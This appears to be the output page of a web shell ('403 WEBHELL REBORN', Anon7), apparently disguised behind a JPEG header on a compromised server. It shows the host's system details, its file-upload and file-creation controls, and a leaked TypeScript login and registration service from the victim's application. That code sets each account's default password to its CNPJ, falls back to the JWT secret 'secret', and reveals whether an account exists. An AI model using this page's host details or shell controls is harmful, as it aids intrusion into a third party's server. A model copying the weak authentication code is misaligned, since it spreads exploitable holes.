ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/sebraevisitas/src/services/websiteclientes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/sebraevisitas/src/services/websiteclientes/UsersWebSite.ts
import prisma from '../../prisma'
import bcrypt from 'bcryptjs'
import { sign } from 'jsonwebtoken'

interface LoginRequestProps{
    cnpj:string,
    password:string
}

const UsersWebSite = class {
    async login({cnpj,password}:LoginRequestProps){
        // remove tudo que não for dígito
        const cnpjClean = (cnpj || '').replace(/\D/g,'');

        if(!cnpjClean || cnpjClean.length !== 14){
            throw new Error('CNPJ inválido');
        }
        if(!password){
            throw new Error('Senha é obrigatória');
        }

        const user = await prisma.userswebsiteclientes.findFirst({ where: { cnpj: cnpjClean } });

        if(!user){
            // Usuário não encontrado: sinaliza ao frontend para redirecionar ao fluxo de cadastro
            return { redirectToRegister: true, reason: 'USER_NOT_FOUND', cnpj: cnpjClean } as any
        }

        if( !user.active){
            throw new Error('Credenciais inválidas');
        }

        const ok = await bcrypt.compare(password, user.password);
        if(!ok){
            throw new Error('Credenciais inválidas');
        }

        const token = sign(
            { cnpj: user.cnpj },
            process.env.JWT_HASH || 'secret',
            {
                subject: user.id,
                expiresIn: '30d'
            }
        );

        const { password: _pw, ...rest } = user as any;
        return { ...rest, token };
    }

    async startRegister(cnpjRaw: string){
        const cnpj = (cnpjRaw || '').replace(/\D/g,'');

        if(!cnpj || cnpj.length !== 14){
            throw new Error('CNPJ inválido');
        }

        // Verifica se já existe usuário para esse CNPJ
        const existing = await prisma.userswebsiteclientes.findFirst({ where: { cnpj } });
        if (existing) {
            // sinaliza para o front redirecionar para login
            return {
                alreadyExists: true,
                redirectToLogin: true,
                cnpj
            } as const;
        }

        // Senha padrão = próprio CNPJ (hash com bcrypt)
        const hashed = await bcrypt.hash(cnpj, 10);

        const created = await prisma.userswebsiteclientes.create({
            data: {
                cnpj,
                password: hashed,
                active: true
            }
        });

        // Não retornar a senha
        const { password: _pw, ...safe } = created as any;
        return {
            alreadyExists: false,
            user: safe
        } as const;
    }

    // Atualiza a senha do usuário de website (cliente)
    // Regras:
    // - cnpj é obrigatório (14 dígitos)
    // - newPassword é obrigatória (mín. 6 caracteres)
    // - Se oldPassword for informada, será validada contra a senha atual.
    // - Se oldPassword NÃO for informada, apenas permitirá atualização caso a senha atual ainda seja a padrão (o próprio CNPJ).
    async updatePassword(params: { cnpj: string; newPassword: string; oldPassword?: string }) {
        const cnpj = (params?.cnpj || '').replace(/\D/g, '');
        const newPassword = params?.newPassword || '';
        const oldPassword = params?.oldPassword;

        if (!cnpj || cnpj.length !== 14) {
            throw new Error('CNPJ inválido');
        }
        if (!newPassword || newPassword.length < 6) {
            throw new Error('Nova senha deve ter no mínimo 6 caracteres');
        }

        const user = await prisma.userswebsiteclientes.findFirst({ where: { cnpj } });
        if (!user) {
            return { redirectToRegister: true, reason: 'USER_NOT_FOUND', cnpj } as any;
        }
        if (!user.active) {
            throw new Error('Usuário inativo');
        }

        // Verificação da senha atual
        if (oldPassword) {
            const ok = await bcrypt.compare(oldPassword, user.password);
            if (!ok) {
                throw new Error('Senha atual inválida');
            }
        } else {
            // Sem oldPassword: só permite se ainda estiver com a senha padrão (igual ao CNPJ)
            const isDefault = await bcrypt.compare(cnpj, user.password);
            if (!isDefault) {
                // exige a senha atual
                throw new Error('Para alterar a senha, informe a senha atual');
            }
        }

        const hashed = await bcrypt.hash(newPassword, 10);
        const updated = await prisma.userswebsiteclientes.update({
            where: { id: user.id },
            data: { password: hashed }
        });

        const { password: _pw, ...safe } = updated as any;
        return { success: true, user: safe } as const;
    }

}

export default UsersWebSite

Anon7 - 2021